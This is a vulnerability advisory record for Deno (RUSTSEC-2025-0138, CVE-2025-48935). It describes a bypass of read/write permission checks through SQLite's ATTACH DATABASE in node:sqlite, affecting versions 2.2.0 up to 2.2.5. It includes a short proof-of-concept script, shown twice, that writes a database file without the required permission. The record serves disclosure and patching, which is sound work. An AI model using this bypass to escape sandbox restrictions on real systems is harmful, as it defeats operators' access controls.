rustsec-2025-0138
Vulnerability from osv_rustsec
Published
2025-06-03 12:00
Modified
2025-12-29 10:04
Summary
--allow-read / --allow-write permission bypass in `node:sqlite`
Details

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");

$ deno poc.js
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{
  "affected": [
    {
      "database_specific": {
        "categories": [],
        "cvss": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
        "informational": null
      },
      "ecosystem_specific": {
        "affected_functions": null,
        "affects": {
          "arch": [],
          "functions": [],
          "os": []
        }
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "deno",
        "purl": "pkg:cargo/deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.5"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": []
    }
  ],
  "aliases": [
    "CVE-2025-48935",
    "GHSA-8vxj-4cph-c596"
  ],
  "database_specific": {
    "license": "CC-BY-4.0"
  },
  "details": "It is possible to bypass Deno\u0027s read/write permission\nchecks by using ATTACH DATABASE statement.\n\n## PoC\n\n```\n// poc.js\nimport { DatabaseSync } from \"node:sqlite\"\n\nconst db = new DatabaseSync(\":memory:\");\ndb.exec(\"ATTACH DATABASE \u0027test.db\u0027 as test;\");\n\ndb.exec(\"CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);\");\n```\n\n```\n$ deno poc.js\n```",
  "id": "RUSTSEC-2025-0138",
  "modified": "2025-12-29T10:04:21Z",
  "published": "2025-06-03T12:00:00Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://crates.io/crates/deno"
    },
    {
      "type": "ADVISORY",
      "url": "https://rustsec.org/advisories/RUSTSEC-2025-0138.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860"
    }
  ],
  "related": [],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "--allow-read / --allow-write permission bypass in `node:sqlite`"
}


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